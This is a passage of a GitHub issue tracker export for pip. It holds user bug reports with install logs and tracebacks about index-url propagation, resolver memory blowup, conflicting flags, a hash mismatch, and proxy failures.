  Using cached https://mirrors.aliyun.com/pypi/packages/5d/0e/a72d85a55761c2c3ff1cb968143a2fd5f360220779ed90e0fadf4106d4f2/Twisted-18.9.0.tar.bz2 (3.1 MB)
    ERROR: Command errored out with exit status 1:
     command: /usr/bin/python3 -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-mtzzkokt/twisted_ffff7a9d27c54b4f8ab7a96ac8cb1fe8/setup.py'"'"'; __file__='"'"'/tmp/pip-install-mtzzkokt/twisted_ffff7a9d27c54b4f8ab7a96ac8cb1fe8/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-qqltzhex
         cwd: /tmp/pip-install-mtzzkokt/twisted_ffff7a9d27c54b4f8ab7a96ac8cb1fe8/
    Complete output (33 lines):
    WARNING: The repository located at mirrors.cloud.aliyuncs.com is not a trusted or secure host and is being ignored. If this repository is available via HTTPS we recommend you use HTTPS instead, otherwise you may silence this warning and allow it anyway with '--trusted-host mirrors.cloud.aliyuncs.com'.
    ERROR: Could not find a version that satisfies the requirement incremental>=16.10.1
    ERROR: No matching distribution found for incremental>=16.10.1
    Traceback (most recent call last):
      File "/usr/local/lib/python3.6/dist-packages/setuptools/installer.py", line 128, in fetch_build_egg
        subprocess.check_call(cmd)
      File "/usr/lib/python3.6/subprocess.py", line 311, in check_call
        raise CalledProcessError(retcode, cmd)
    subprocess.CalledProcessError: Command '['/usr/bin/python3', '-m', 'pip', '--disable-pip-version-check', 'wheel', '--no-deps', '-w', '/tmp/tmppsfylnwu', '--quiet', '--index-url', 'http://test/', 'incremental>=16.10.1']' returned non-zero exit status 1.

    The above exception was the direct cause of the following exception:

    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/tmp/pip-install-mtzzkokt/twisted_ffff7a9d27c54b4f8ab7a96ac8cb1fe8/setup.py", line 20, in <module>
        setuptools.setup(**_setup["getSetupArgs"]())
      File "/usr/local/lib/python3.6/dist-packages/setuptools/__init__.py", line 164, in setup
        _install_setup_requires(attrs)
      File "/usr/local/lib/python3.6/dist-packages/setuptools/__init__.py", line 159, in _install_setup_requires
        dist.fetch_build_eggs(dist.setup_requires)
      File "/usr/local/lib/python3.6/dist-packages/setuptools/dist.py", line 702, in fetch_build_eggs
        replace_conflicting=True,
      File "/usr/local/lib/python3.6/dist-packages/pkg_resources/__init__.py", line 781, in resolve
        replace_conflicting=replace_conflicting
      File "/usr/local/lib/python3.6/dist-packages/pkg_resources/__init__.py", line 1064, in best_match
        return self.obtain(req, installer)
      File "/usr/local/lib/python3.6/dist-packages/pkg_resources/__init__.py", line 1076, in obtain
        return installer(requirement)
      File "/usr/local/lib/python3.6/dist-packages/setuptools/dist.py", line 758, in fetch_build_egg
        return fetch_build_egg(self, req)
      File "/usr/local/lib/python3.6/dist-packages/setuptools/installer.py", line 130, in fetch_build_egg
        raise DistutilsError(str(e)) from e
    distutils.errors.DistutilsError: Command '['/usr/bin/python3', '-m', 'pip', '--disable-pip-version-check', 'wheel', '--no-deps', '-w', '/tmp/tmppsfylnwu', '--quiet', '--index-url', 'http://test/', 'incremental>=16.10.1']' returned non-zero exit status 1.
    ----------------------------------------
ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
```



from the error `distutils.errors.DistutilsError: Command '['/usr/bin/python3', '-m', 'pip', '--disable-pip-version-check', 'wheel', '--no-deps', '-w', '/tmp/tmppsfylnwu', '--quiet', '--index-url', 'http://test/', 'incremental>=16.10.1']' ` we can see 

1.  the command line argument `--index-url` and `--trusted-host` not passed  sub-command `pip wheel`,  (packages which are defined in  a `setup_requires` in setup.py, see https://github.com/twisted/twisted/blob/release-18.9.0-9541/src/twisted/python/_setup.py#L249)


**Expected behavior**
* `--index-url` `--trusted-host` should be passed to sub-command `pip wheel`
*  pip.conf should be overridden by CLI argument


**How to Reproduce**
```
pip3 install -i https://mirrors.aliyun.com/pypi/simple --trusted-host mirrors.cloud.aliyuncs.com twisted==18.9.0
```




user: liuyangc3
issue_9321: state: open
title: check for coherence with the installed python version
body: Pip is very eager to upgrade itself - when you use an older version it warns you that the current version is out of date and instructs you on how to install a new version.  Unfortunately, if you are currently using the version of your Linux distribution, and follow the instructions, then you will start using a local version.  If you then update your Linux distribution and obtain a new release of python, you are then unable to install any packages for the new version, because the pip you are running is stall attached to the old version.  This is very mysterious, at least for people who are not frequent python users.  It would be good if pip would explicitly detect that the version of python that it is downloading packages for is no longer installed and print a helpful error message.
Concretely, I upgraded a machines from Ubuntu 16.04 to Ubuntu 20.04, which resulted in going from python 3.7 to python 3.8.
user: JuliaLawall
labels: project: <downstream>: When the cause/effect is related to redistributors
issue_9318: state: open
title: Command killed due to excessive memory consumption (on RTD)
body: <!--
Please provide as much information as you can about your failure, so that we can understand the root cause.

Try if your issue has been fixed in the in-development version of pip. Use the following command to install pip from master:

    python -m pip install -U "pip @ https://github.com/pypa/pip/archive/master.zip"
-->

I have encountered this issue on multiple ReadTheDocs projects now, so I'm sure I cannot be the only one.
I assume this is because it is caching every version of all the packages it downloads.
This is a bit annoying, and the only work around I know of is to include additional requirements and pinnings for some of the "secondary" packages (sub-dependencies of the actual requirements).

I think, by default or as an option, pip should "discard" these downloaded packages as soon as they are deemed incompatible, so they do not induce this excessive memory use.


**What did you want to do?**
<!-- Include any inputs you gave to pip, for example:

* Package requirements: any CLI arguments and/or your requirements.txt file
* Already installed packages, outputted via `pip freeze`
-->

Example RTD build: https://readthedocs.org/projects/markdown-it-py/builds/12576084/

```
/home/docs/checkouts/readthedocs.org/user_builds/markdown-it-py/envs/98/bin/python -m pip install --upgrade --upgrade-strategy eager --no-cache-dir .[rtd]
```

**Output**

```
Paste what pip outputted in a code block. https://github.github.com/gfm/#fenced-code-blocks
```

```
Processing /home/docs/checkouts/readthedocs.org/user_builds/markdown-it-py/checkouts/98
Collecting attrs<21,>=19
  Downloading attrs-20.3.0-py2.py3-none-any.whl (49 kB)
Collecting mdit-py-plugins~=0.2.1
  Downloading mdit_py_plugins-0.2.1-py3-none-any.whl (38 kB)
Collecting myst-nb~=0.10.0
  Downloading myst_nb-0.10.1-py3-none-any.whl (36 kB)
Collecting docutils>=0.15
  Downloading docutils-0.16-py2.py3-none-any.whl (548 kB)
Collecting ipywidgets<8,>=7.0.0
  Downloading ipywidgets-7.5.1-py2.py3-none-any.whl (121 kB)
Collecting ipykernel>=4.5.1
  Downloading ipykernel-5.4.2-py3-none-any.whl (119 kB)
Collecting ipython
  Downloading ipython-7.19.0-py3-none-any.whl (784 kB)
Requirement already satisfied: pygments in /home/docs/checkouts/readthedocs.org/user_builds/markdown-it-py/envs/98/lib/python3.7/site-packages (from ipython->myst-nb~=0.10.0->markdown-it-py==0.6.0) (2.7.3)
Requirement already satisfied: setuptools>=18.5 in /home/docs/checkouts/readthedocs.org/user_builds/markdown-it-py/envs/98/lib/python3.7/site-packages (from ipython->myst-nb~=0.10.0->markdown-it-py==0.6.0) (41.0.1)
Collecting jedi>=0.10
  Downloading jedi-0.17.2-py2.py3-none-any.whl (1.4 MB)
Collecting jupyter-cache~=0.4.1
  Downloading jupyter_cache-0.4.1-py3-none-any.whl (31 kB)
Collecting jupyter-sphinx~=0.3.1
  Downloading jupyter_sphinx-0.3.2-py3-none-any.whl (20 kB)
Collecting myst-parser~=0.12.9
  Downloading myst_parser-0.12.10-py3-none-any.whl (34 kB)
  Downloading myst_parser-0.12.9-py3-none-any.whl (34 kB)
INFO: pip is looking at multiple versions of jupyter-sphinx to determine which version is compatible with other requirements. This could take a while.
Collecting jupyter-sphinx~=0.3.1
  Downloading jupyter_sphinx-0.3.1-py3-none-any.whl (19 kB)
INFO: pip is looking at multiple versions of jupyter-cache to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of jedi to determine which version is compatible with other requirements. This could take a while.
Collecting jedi>=0.10
  Downloading jedi-0.17.1-py2.py3-none-any.whl (1.4 MB)
  Downloading jedi-0.17.0-py2.py3-none-any.whl (1.1 MB)
  Downloading jedi-0.16.0-py2.py3-none-any.whl (1.1 MB)
INFO: pip is looking at multiple versions of jupyter-sphinx to determine which version is compatible with other requirements. This could take a while.
  Downloading jedi-0.15.2-py2.py3-none-any.whl (1.1 MB)
  Downloading jedi-0.15.1-py2.py3-none-any.whl (1.0 MB)
  Downloading jedi-0.15.0-py2.py3-none-any.whl (1.0 MB)
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. If you want to abort this run, you can press Ctrl + C to do so. To improve how pip performs, tell us what happened here: https://pip.pypa.io/surveys/backtracking
  Downloading jedi-0.14.1-py2.py3-none-any.whl (1.0 MB)
INFO: pip is looking at multiple versions of jupyter-cache to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of jedi to determine which version is compatible with other requirements. This could take a while.
  Downloading jedi-0.14.0-py2.py3-none-any.whl (1.0 MB)
  Downloading jedi-0.13.3-py2.py3-none-any.whl (178 kB)
  Downloading jedi-0.13.2-py2.py3-none-any.whl (177 kB)
  Downloading jedi-0.13.1-py2.py3-none-any.whl (177 kB)
  Downloading jedi-0.13.0-py2.py3-none-any.whl (177 kB)
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. If you want to abort this run, you can press Ctrl + C to do so. To improve how pip performs, tell us what happened here: https://pip.pypa.io/surveys/backtracking
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. If you want to abort this run, you can press Ctrl + C to do so. To improve how pip performs, tell us what happened here: https://pip.pypa.io/surveys/backtracking
  Downloading jedi-0.12.1-py2.py3-none-any.whl (174 kB)
  Downloading jedi-0.12.0-py2.py3-none-any.whl (172 kB)
  Downloading jedi-0.11.1-py2.py3-none-any.whl (250 kB)
Collecting parso==0.1.1
  Downloading parso-0.1.1-py2.py3-none-any.whl (91 kB)
INFO: pip is looking at multiple versions of parso to determine which version is compatible with other requirements. This could take a while.
Collecting jedi>=0.10
  Downloading jedi-0.11.0-py2.py3-none-any.whl (146 kB)
Collecting parso==0.1.0
  Downloading parso-0.1.0-py2.py3-none-any.whl (89 kB)
Collecting jedi>=0.10
  Downloading jedi-0.10.2-py2.py3-none-any.whl (190 kB)
  Downloading jedi-0.10.1-py2.py3-none-any.whl (179 kB)
  Downloading jedi-0.10.0-py2.py3-none-any.whl (186 kB)
INFO: pip is looking at multiple versions of ipython to determine which version is compatible with other requirements. This could take a while.
Collecting ipython
  Downloading ipython-7.18.1-py3-none-any.whl (786 kB)
  Downloading ipython-7.18.0-py3-none-any.whl (786 kB)
  Downloading ipython-7.17.0-py3-none-any.whl (786 kB)
  Downloading ipython-7.16.1-py3-none-any.whl (785 kB)
INFO: pip is looking at multiple versions of parso to determine which version is compatible with other requirements. This could take a while.
  Downloading ipython-7.16.0-py3-none-any.whl (785 kB)
  Downloading ipython-7.15.0-py3-none-any.whl (783 kB)
  Downloading ipython-7.14.0-py3-none-any.whl (782 kB)
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. If you want to abort this run, you can press Ctrl + C to do so. To improve how pip performs, tell us what happened here: https://pip.pypa.io/surveys/backtracking
INFO: pip is looking at multiple versions of ipython to determine which version is compatible with other requirements. This could take a while.
  Downloading ipython-7.13.0-py3-none-any.whl (780 kB)
  Downloading ipython-7.12.0-py3-none-any.whl (777 kB)
  Downloading ipython-7.11.1-py3-none-any.whl (777 kB)
  Downloading ipython-7.11.0-py3-none-any.whl (777 kB)
  Downloading ipython-7.10.2-py3-none-any.whl (778 kB)
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. If you want to abort this run, you can press Ctrl + C to do so. To improve how pip performs, tell us what happened here: https://pip.pypa.io/surveys/backtracking
  Downloading ipython-7.10.1-py3-none-any.whl (778 kB)
  Downloading ipython-7.10.0-py3-none-any.whl (776 kB)
  Downloading ipython-7.9.0-py3-none-any.whl (775 kB)
  Downloading ipython-7.8.0-py3-none-any.whl (775 kB)
  Downloading ipython-7.7.0-py3-none-any.whl (774 kB)
  Downloading ipython-7.6.1-py3-none-any.whl (774 kB)
  Downloading ipython-7.6.0-py3-none-any.whl (774 kB)
  Downloading ipython-7.5.0-py3-none-any.whl (770 kB)
  Downloading ipython-7.4.0-py3-none-any.whl (769 kB)
  Downloading ipython-7.3.0-py3-none-any.whl (768 kB)
  Downloading ipython-7.2.0-py3-none-any.whl (765 kB)
  Downloading ipython-7.1.1-py3-none-any.whl (764 kB)
  Downloading ipython-7.0.1-py3-none-any.whl (760 kB)
  Downloading ipython-7.0.0-py3-none-any.whl (760 kB)
  Downloading ipython-6.5.0-py3-none-any.whl (748 kB)
  Downloading ipython-6.4.0-py3-none-any.whl (750 kB)
  Downloading ipython-6.3.1-py3-none-any.whl (749 kB)
  Downloading ipython-6.3.0-py3-none-any.whl (749 kB)
  Downloading ipython-6.2.1-py3-none-any.whl (745 kB)
  Downloading ipython-6.2.0-py3-none-any.whl (745 kB)
  Downloading ipython-6.1.0-py3-none-any.whl (741 kB)
  Downloading ipython-6.0.0-py3-none-any.whl (736 kB)
  Downloading ipython-5.10.0-py3-none-any.whl (760 kB)
  Downloading ipython-5.9.0-py3-none-any.whl (760 kB)
  Downloading ipython-5.8.0-py3-none-any.whl (758 kB)
  Downloading ipython-5.7.0-py3-none-any.whl (760 kB)
  Downloading ipython-5.6.0-py3-none-any.whl (760 kB)
  Downloading ipython-5.5.0-py3-none-any.whl (758 kB)
  Downloading ipython-5.4.1-py3-none-any.whl (757 kB)
  Downloading ipython-5.4.0-py3-none-any.whl (757 kB)
  Downloading ipython-5.3.0-py3-none-any.whl (750 kB)
  Downloading ipython-5.2.2-py3-none-any.whl (749 kB)
  Downloading ipython-5.2.1-py3-none-any.whl (749 kB)
  Downloading ipython-5.2.0-py3-none-any.whl (749 kB)
  Downloading ipython-5.1.0-py3-none-any.whl (747 kB)
  Downloading ipython-5.0.0-py2.py3-none-any.whl (743 kB)
INFO: pip is looking at multiple versions of ipykernel to determine which version is compatible with other requirements. This could take a while.
Collecting ipykernel>=4.5.1
  Downloading ipykernel-5.4.1-py3-none-any.whl (119 kB)
  Downloading ipykernel-5.4.0-py3-none-any.whl (119 kB)
  Downloading ipykernel-5.3.4-py3-none-any.whl (120 kB)
  Downloading ipykernel-5.3.3-py3-none-any.whl (120 kB)
  Downloading ipykernel-5.3.2-py3-none-any.whl (120 kB)
  Downloading ipykernel-5.3.1-py3-none-any.whl (120 kB)
  Downloading ipykernel-5.3.0-py3-none-any.whl (119 kB)
INFO: pip is looking at multiple versions of ipykernel to determine which version is compatible with other requirements. This could take a while.
  Downloading ipykernel-5.2.1-py3-none-any.whl (118 kB)
  Downloading ipykernel-5.2.0-py3-none-any.whl (117 kB)
  Downloading ipykernel-5.1.4-py3-none-any.whl (116 kB)
  Downloading ipykernel-5.1.3-py3-none-any.whl (116 kB)
  Downloading ipykernel-5.1.2-py3-none-any.whl (116 kB)


Command killed due to excessive memory consumption
```

**Additional information**

<!--
It would be great if you could also include your dependency tree. For this you can use pipdeptree: https://pypi.org/project/pipdeptree/

For users installing packages from a private repository or local directory, please try your best to describe your setup. We'd like to understand how to reproduce the error locally, so would need (at a minimum) a description of the packages you are trying to install, and a list of dependencies for each package.
-->

user: chrisjsewell
issue_9317: state: open
title: Disallow using both the `--ignore-installed` and `--force-reinstall` options at the same time
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->
When running `pip install` with both the `--ignore-installed` and `--force-reinstall` flags, `--force-reinstall` is effectively disabled by `--ignore-installed`. It's not entirely intuitive that these options are in conflict and that `ignore-installed` has priority.

Here's my understanding of what happens. The `force-reinstall` option only takes effect if the package being installed is returned by the `get_dist_to_uninstall` function:
https://github.com/pypa/pip/blob/89d50dd833c21073a6080311ec0f3e4a3c0878b8/src/pip/_internal/resolution/resolvelib/resolver.py#L135-L143

`get_dist_to_uninstall` checks the `_installed_dists` dict to see if the package is already installed:
https://github.com/pypa/pip/blob/89d50dd833c21073a6080311ec0f3e4a3c0878b8/src/pip/_internal/resolution/resolvelib/factory.py#L323-L328

Before any of this happened, though, `_installed_dists` was set to an empty dict by the `ignore-installed` option:
https://github.com/pypa/pip/blob/89d50dd833c21073a6080311ec0f3e4a3c0878b8/src/pip/_internal/resolution/resolvelib/factory.py#L102-L108

This prevents `force-reinstall` from having any effect.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->
This behavior seems to mean that there's never any situation in which you'd want to (or be able to) use `--ignore-installed` and `--force-reinstall` at the same time. Given this, can pip throw an error if both flags are used? Explicitly failing with instructions to choose one seems better than silently disabling `force-reinstall`.

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->
Say you're trying to resolve some mysterious dependency problems. You're using the `force-reinstall` option, but you're still having issues, so you look at the available `pip install` options and see `ignore-installed`. You might try that too, thinking that the effect will be additive, but this silently disables `force-reinstall` instead, sending you on a wild goose chase.

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->
A warning could be printed when using both flags, instead of throwing an error. The `ignore-installed` help text could also be updated to inform users that it shouldn't be used with the `force-reinstall` option.

I think throwing an error would be better since this seems like a fundamentally invalid combination of options, but warning messages or usage instructions would be less intrusive.
user: mattficke
issue_9310: state: open
title: package install fails due to SHA fails
body: I'm not sure where to post this. But when I goto pip3 install facebook_business I get this:

```
Collecting facebook-business==9.0.1
  Downloading https://files.pythonhosted.org/packages/d4/87/8848716e1c5379547a57698c2625b41d9f1c41515eb639ae5c53a2efb3d6/facebook_business-9.0.1-py3-none-any.whl (1.0MB)
    100% |████████████████████████████████| 1.0MB 1.2MB/s
THESE PACKAGES DO NOT MATCH THE HASHES FROM THE REQUIREMENTS FILE. If you have updated the package versions, please update the hashes. Otherwise, examine the package contents carefully; someone may have tampered with them.
    facebook-business==9.0.1 from https://files.pythonhosted.org/packages/d4/87/8848716e1c5379547a57698c2625b41d9f1c41515eb639ae5c53a2efb3d6/facebook_business-9.0.1-py3-none-any.whl#sha256=854e79cf8812cff403ff52d037b38e52d0381d316282de913cd2594f0d6ae12f:
        Expected sha256 854e79cf8812cff403ff52d037b38e52d0381d316282de913cd2594f0d6ae12f
             Got        751b1b2971b4dae84acc10a54bdbc05292c6f9f20b457985152e86583e8ff752
```


I couldn't find anywhere else to raise this issue:
https://pypi.org/project/facebook-business/
https://github.com/facebook/facebook-python-business-sdk


I don't get how the SHA can be different. I feel it must have been updated in one place and not another?

When I do:
`curl -O https://files.pythonhosted.org/packages/d4/87/8848716e1c5379547a57698c2625b41d9f1c41515eb639ae5c53a2efb3d6/facebook_business-9.0.1-py3-none-any.whl
sha256sum facebook_business-9.0.1-py3-none-any.whl
`
I get the correct hash

user: datacubed
issue_9309: state: open
title: pip does not reset terminal in its original settings on error
body: **Environment**

* pip version: pip 20.0.2 
* Python version: Python 3.8.5
* OS: Linux Mint 20
* xfce4-terminal: 0.8.9.1

**Description**

When I update my all my python packages, using a technique like the one in [2], I often encounter the "Memory error" [1]. Mostly due to the installation of the (laaaaarge) Torch package.

[1] https://stackoverflow.com/questions/29466663/memory-error-while-using-pip-install-matplotlib#31526029
[2] https://stackoverflow.com/questions/2720014/how-to-upgrade-all-python-packages-with-pip/3452888#3452888

When this error occurs, I loose the cursor in my terminal (and other small terminal configurations). I need to `reset` the  terminal.

**Expected behavior**
Even on error, my terminal should be reset to its original configuration (no cursor loss).

**How to Reproduce**
- (Use a memory limited machine/VM ?)
- Create a venv
- Install an old version of `torch` in the venv
- Update all packages with  `pip freeze | cut -d "=" -f1  | xargs -n1 pip install --upgrade

**Output**
- Get the 'memory error'
- Observe that the cursor in the terminal disappears
- Use `reset` to recover your terminal configuration

user: liar666
issue_9307: state: open
title: pip installation with a url for constraint file behind proxy
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**

* pip version: 
```
pip 9.0.3 from /root/pip_install_proxy/venv/lib64/python3.6/site-packages (python 3.6)
```

* Python version:
```
Installed Packages
Name         : python36
Version      : 3.6.8
Release      : 2.module_el8.3.0+562+e162826a
Architecture : x86_64
Size         : 13 k
Source       : python36-3.6.8-2.module_el8.3.0+562+e162826a.src.rpm
Repository   : @System
From repo    : AppStream
```
* OS:
```
CentOS Linux release 8.3.2011
```
<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
There is a virtual env created.
Then I set the proxy variables in the shell session.
Then I activated the venv and launched the following pip install command with a url for constraint file.
But the pip cannot access the constraints file through proxy.

Maybe it's related to #3504

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
pip can get the constraint file from given url via proxy and do the installation.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. Get requirement file from `https://opendev.org/openstack/bifrost/raw/branch/master/requirements.txt`
2. Then set proxy variable using `export http_proxy=...` and `export https_proxy=...`
3. Create a venv and activate it
4. Then run `pip -v install -r requirements.txt -c https://releases.openstack.org/constraints/upper/master`

**Output**

```
# curl -L https://releases.openstack.org/constraints/upper/master
ntlm-auth===1.5.0
voluptuous===0.12.0
chardet===3.0.4
enum-compat===0.0.3
rsa===4.6
restructuredtext-lint===1.3.2
netmiko===3.3.2
sshtunnel===0.3.1
PasteDeploy===2.1.1
typing===3.7.4.3
python-saharaclient===3.3.0
Routes===2.5.1
rtslib-fb===2.1.74
oslo.limit===1.2.1
smmap===3.0.4
confget===2.3.4
XStatic-Angular-Bootstrap===2.5.0.0
WebOb===1.8.6
sphinxcontrib-actdiag===2.0.0
pecan===1.3.3
ryu===4.34
os-api-ref===2.1.0
python-ldap===3.3.1
...
```

```
# pip -v install -r requirements.txt -c https://releases.openstack.org/constraints/upper/master 
Looking up "https://releases.openstack.org/constraints/upper/master" in the cache
Returning cached "301 Moved Permanently" response (ignoring date and etag information)
Looking up "https://opendev.org/openstack/requirements/raw/branch/master/upper-constraints.txt" in the cache
No cache entry available
Starting new HTTPS connection (1): opendev.org
Incremented Retry for (url='/openstack/requirements/raw/branch/master/upper-constraints.txt'): Retry(total=4, connect=None, read=None, redirect=None, status=None)
Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', timeout('timed out',))': /openstack/requirements/raw/branch/master/upper-constraints.txt
Starting new HTTPS connection (2): opendev.org
Incremented Retry for (url='/openstack/requirements/raw/branch/master/upper-constraints.txt'): Retry(total=3, connect=None, read=None, redirect=None, status=None)
Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', timeout('timed out',))': /openstack/requirements/raw/branch/master/upper-constraints.txt
Starting new HTTPS connection (3): opendev.org
Incremented Retry for (url='/openstack/requirements/raw/branch/master/upper-constraints.txt'): Retry(total=2, connect=None, read=None, redirect=None, status=None)
Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', timeout('timed out',))': /openstack/requirements/raw/branch/master/upper-constraints.txt
Starting new HTTPS connection (4): opendev.org
Incremented Retry for (url='/openstack/requirements/raw/branch/master/upper-constraints.txt'): Retry(total=1, connect=None, read=None, redirect=None, status=None)
Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', timeout('timed out',))': /openstack/requirements/raw/branch/master/upper-constraints.txt
Starting new HTTPS connection (5): opendev.org
Incremented Retry for (url='/openstack/requirements/raw/branch/master/upper-constraints.txt'): Retry(total=0, connect=None, read=None, redirect=None, status=None)
Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', timeout('timed out',))': /openstack/requirements/raw/branch/master/upper-constraints.txt
Starting new HTTPS connection (6): opendev.org
Exception:
Traceback (most recent call last):
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/urllib3/connectionpool.py", line 595, in urlopen
    self._prepare_proxy(conn)
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/urllib3/connectionpool.py", line 816, in _prepare_proxy
    conn.connect()
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/urllib3/connection.py", line 294, in connect
    self._tunnel()
  File "/usr/lib64/python3.6/http/client.py", line 924, in _tunnel
    (version, code, message) = response._read_status()
  File "/usr/lib64/python3.6/http/client.py", line 268, in _read_status
    line = str(self.fp.readline(_MAXLINE + 1), "iso-8859-1")
  File "/usr/lib64/python3.6/socket.py", line 586, in readinto
    return self._sock.recv_into(b)
socket.timeout: timed out

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/requests/adapters.py", line 440, in send
    timeout=timeout
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/urllib3/connectionpool.py", line 668, in urlopen
    **response_kw)
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/urllib3/connectionpool.py", line 668, in urlopen
    **response_kw)
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/urllib3/connectionpool.py", line 668, in urlopen
    **response_kw)
  [Previous line repeated 2 more times]
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/urllib3/connectionpool.py", line 639, in urlopen
    _stacktrace=sys.exc_info()[2])
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/urllib3/util/retry.py", line 398, in increment
    raise MaxRetryError(_pool, url, error or ResponseError(cause))
pip._vendor.urllib3.exceptions.MaxRetryError: HTTPSConnectionPool(host='opendev.org', port=443): Max retries exceeded with url: /openstack/requirements/raw/branch/master/upper-constraints.txt (Caused by ProxyError('Cannot connect to proxy.', timeout('timed out',)))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/basecommand.py", line 215, in main
    status = self.run(options, args)
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/commands/install.py", line 334, in run
    wheel_cache
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/basecommand.py", line 269, in populate_requirement_set
    session=session, wheel_cache=wheel_cache):
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/req/req_file.py", line 84, in parse_requirements
    filename, comes_from=comes_from, session=session
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/download.py", line 418, in get_file_content
    resp = session.get(url)
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 543, in get
    return self.request('GET', url, **kwargs)
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/download.py", line 387, in request
    return super(PipSession, self).request(method, url, *args, **kwargs)
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 530, in request
    resp = self.send(prep, **send_kwargs)
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 662, in send
    history = [resp for resp in gen] if allow_redirects else []
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 662, in <listcomp>
    history = [resp for resp in gen] if allow_redirects else []
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 244, in resolve_redirects
    **adapter_kwargs
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 640, in send
    r = adapter.send(request, **kwargs)
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/cachecontrol/adapter.py", line 47, in send
    resp = super(CacheControlAdapter, self).send(request, **kw)
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/requests/adapters.py", line 502, in send
    raise ProxyError(e, request=request)
pip._vendor.requests.exceptions.ProxyError: HTTPSConnectionPool(host='opendev.org', port=443): Max retries exceeded with url: /openstack/requirements/raw/branch/master/upper-constraints.txt (Caused by ProxyError('Cannot connect to proxy.', timeout('timed out',)))
Looking up "https://pypi.python.org/pypi/pip/json" in the cache
No cache entry available
Starting new HTTPS connection (1): pypi.python.org
There was an error checking the latest version of pip
Traceback (most recent call last):
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/urllib3/connectionpool.py", line 595, in urlopen
    self._prepare_proxy(conn)
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/urllib3/connectionpool.py", line 816, in _prepare_proxy
    conn.connect()
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/urllib3/connection.py", line 294, in connect
    self._tunnel()
  File "/usr/lib64/python3.6/http/client.py", line 924, in _tunnel
    (version, code, message) = response._read_status()
  File "/usr/lib64/python3.6/http/client.py", line 268, in _read_status
    line = str(self.fp.readline(_MAXLINE + 1), "iso-8859-1")
  File "/usr/lib64/python3.6/socket.py", line 586, in readinto
    return self._sock.recv_into(b)
socket.timeout: timed out

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/requests/adapters.py", line 440, in send
    timeout=timeout
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/urllib3/connectionpool.py", line 639, in urlopen
    _stacktrace=sys.exc_info()[2])
